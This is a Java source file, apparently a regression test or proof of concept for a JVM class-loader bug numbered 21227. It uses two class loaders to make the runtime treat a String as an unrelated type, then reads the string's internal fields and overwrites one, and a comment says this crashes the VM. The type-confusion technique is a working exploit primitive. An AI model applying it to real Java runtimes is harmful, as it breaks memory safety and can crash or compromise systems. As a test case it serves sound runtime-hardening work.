1 2import java.lang.reflect.*; 3import java.security.*; 4 5abstract public class bug_21227 { 6 7 // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned 8 public static Object _p0wnee; 9 10 public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException { 11 System.out.println("Warmup"); 12 13 // Make a Class 'many_loader' under the default loader 14 bug_21227 bug = new many_loader(); 15 16 // Some classes under a new Loader, LOADER2, including another version of 'many_loader' 17 ClassLoader LOADER2 = new Loader2(); 18 Class clazz2 = LOADER2.loadClass("from_loader2"); 19 IFace iface = (IFace)clazz2.newInstance(); 20 21 // Set the victim, a String of length 6 22 String s = "victim"; 23 _p0wnee = s; 24 25 // Go cast '_p0wnee' to type You_Have_Been_P0wned 26 many_loader[] x2 = bug.make(iface); 27 28 many_loader b = x2[0]; 29 30 // Make it clear that the runtime type many_loader (what we get from the 31 // array X2) varies from the static type of many_loader. 32 Class cl1 = b.getClass(); 33 ClassLoader ld1 = cl1.getClassLoader(); 34 Class cl2 = many_loader.class; 35 ClassLoader ld2 = cl2.getClassLoader(); 36 System.out.println("bug.make() "+ld1+":"+cl1); 37 System.out.println("many_loader "+ld2+":"+cl2); 38 39 // Read the victims guts out 40 You_Have_Been_P0wned q = b._p0wnee; 41 System.out.println("q._a = 0x"+Integer.toHexString(q._a)); 42 System.out.println("q._b = 0x"+Integer.toHexString(q._b)); 43 System.out.println("q._c = 0x"+Integer.toHexString(q._c)); 44 System.out.println("q._d = 0x"+Integer.toHexString(q._d)); 45 46 System.out.println("I will now crash the VM:"); 47 // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM 48 //q._c = 3; 49 q._a = -1; 50 51 System.out.println(s); 52 53 } 54 55 // I need to compile (hence call in a loop) a function which returns a value 56 // loaded from classloader other than the system one. The point of this 57 // call is to give me an abstract 'hook' into a function loaded with a 58 // foreign loader. 59 public abstract many_loader[] make( IFace iface ); // abstract factory 60} 61 62